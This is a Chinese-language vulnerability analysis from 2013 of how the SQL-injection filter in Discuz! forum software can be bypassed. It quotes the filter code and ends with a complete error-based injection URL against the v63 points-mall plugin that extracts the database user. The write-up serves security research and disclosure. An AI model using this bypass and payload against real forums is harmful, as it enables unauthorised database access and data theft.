分析人:晴天小鑄,Seay
分析時間:2013年03月20日
discuz介紹:
Crossday Discuz! Board(以下簡稱 Discuz!,中國國家版權局著作權登記號 2006SR11895)是康盛創想(北京)科技有限公司(英文簡稱Comsenz)推出的一套通用的社區論壇軟件系統,用戶可以在不需要任何編程的基礎上,通過簡單的設置和安裝,在互聯網上搭建起具備完善功能、很強負載能力和可高度定製的論壇服務。Discuz! 的基礎架構採用世界上最流行的 web 編程組合PHP+MySQL 實現,是一個經過完善設計,適用於各種服務器環境的高效論壇系統解決方案。
DIscuz v63積分插件被爆注入漏洞,某互聯網公司公佈了一個的繞過discuz防注入函數的“方法”,鏈接http://bbs.webscan.360.cn/forum.php?mod=viewthread&tid=5373。事實上文章中說的“/*”會被discuz攔截。並沒有繞過,SafeKey Team分析了某互聯網公司披露的discuz v63積分商城插件注入漏洞,發現discuz本身的防注入機制可以被繞過,且無限制。
Discuz防注入分析如下:
先看防注入配置:
$_config['security']['querysafe']['status'] = 1; // 是否開啓SQL安全檢測,可自動預防SQL注入攻擊
$_config['security']['querysafe']['dfunction'] = array('load_file','hex','substring','if','ord','char');
$_config['security']['querysafe']['daction'] = array('intooutfile','intodumpfile','unionselect','(select', 'unionall', 'uniondistinct');
$_config['security']['querysafe']['dnote'] = array('/*','*/','#','--','"');
$_config['security']['querysafe']['dlikehex'] = 1;
$_config['security']['querysafe']['afullnote'] = 0;
Discuz 執行SQL語句之前會調用{\source\class\discuz\discuz_database.php} 文件discuz_database_safecheck類下面的checkquery($sql)函數進行過濾。但是過濾並不嚴謹,我們發現可以繞過改防注入函數。
public static function checkquery($sql) {
if (self::$config === null) {
self::$config = getglobal('config/security/querysafe');
}
if (self::$config['status']) {
$cmd = trim(strtoupper(substr($sql, 0, strpos($sql, ' '))));
if (in_array($cmd, self::$checkcmd)) {
$test = self::_do_query_safe($sql);
if ($test < 1) {
throw new DbException('It is not safe to do this query', 0, $sql);
}
}
}
return true;
}
上面的if (self::$config['status']) {判斷有木有開啓防注入。最終會self::_do_query_safe($sql);
調用 _do_query_safe()函數。跟進該函數,在同文件的363行。
private static function _do_query_safe($sql) { $sql = str_replace(array('\\\\', '\\\'', '\\"', '\'\''), '', $sql); $mark = $clean = ''; if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) { $clean = preg_replace("/'(.+?)'/s", '', $sql); } else { $len = strlen($sql); $mark = $clean = ''; for ($i = 0; $i < $len; $i++) { $str = $sql[$i]; switch ($str) { case '\'': if (!$mark) { $mark = '\''; $clean .= $str; } elseif ($mark == '\'') { $mark = ''; } break; case '/': if (empty($mark) && $sql[$i + 1] == '*') { $mark = '/*'; $clean .= $mark; $i++; } elseif ($mark == '/*' && $sql[$i - 1] == '*') { $mark = ''; $clean .= '*'; } break; case '#': if (empty($mark)) { $mark = $str; $clean .= $str; } break; case "\n": if ($mark == '#' || $mark == '--') { $mark = ''; } break; case '-': if (empty($mark) && substr($sql, $i, 3) == '-- ') { $mark = '-- '; $clean .= $mark; } break; default: break; } $clean .= $mark ? '' : $str; } } $clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean)); if (self::$config['afullnote']) { $clean = str_replace('/**/', '', $clean); } if (is_array(self::$config['dfunction'])) { foreach (self::$config['dfunction'] as $fun) { if (strpos($clean, $fun . '(') !== false) return '-1'; } } if (is_array(self::$config['daction'])) { foreach (self::$config['daction'] as $action) { if (strpos($clean, $action) !== false) return '-3'; } } if (self::$config['dlikehex'] && strpos($clean, 'like0x')) { return '-2'; } if (is_array(self::$config['dnote'])) { foreach (self::$config['dnote'] as $note) { if (strpos($clean, $note) !== false) return '-4'; } } return 1; }
該防注入函數的關鍵繞過代碼在:
if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {
$clean = preg_replace("/'(.+?)'/s", '', $sql);
}
else
{
在discuz v63積分商城插件注入漏洞exp中並不需要斜槓、#號和—註釋符。所以會執行$clean = preg_replace(“/’(.+?)’/s”, ”, $sql);原來SQL語句中兩個單引號中間的內容就會被替換爲空。並不會進入到下面的else分支。Else下面的所有操作均是對$clean變量的操作。所以繞過的思路就是把SQL語句放在兩個單引號中間。對於mysql的一個特性,
@`’` 是爲空的,所以我們的攻擊語句可以放到兩個@`’`中間,即使GPC開啓,單引號被轉義爲\’,而@`’`變成@`\’`對注入也是沒有影響的,所以此繞過方法無限制。
即針對該注入漏洞的攻擊EXP爲:
http://www.cnseay.com/discuz/plugin.php?id=v63shop:goods&pac=info&gid=110 or @`’` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`’` or @`’` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`’`
調試輸出SQL語句
可以看到我們的注入語句被替換掉了,所以後面的檢查字符的時候並沒有發現注入語句。
最終成功利用:
修復補丁:
看了下官網的補丁,檢測了@符號,不理智哦,大家都懂的,不解釋。。。
官網補丁:http://www.discuz.net/forum.php?mod=viewthread&tid=3234536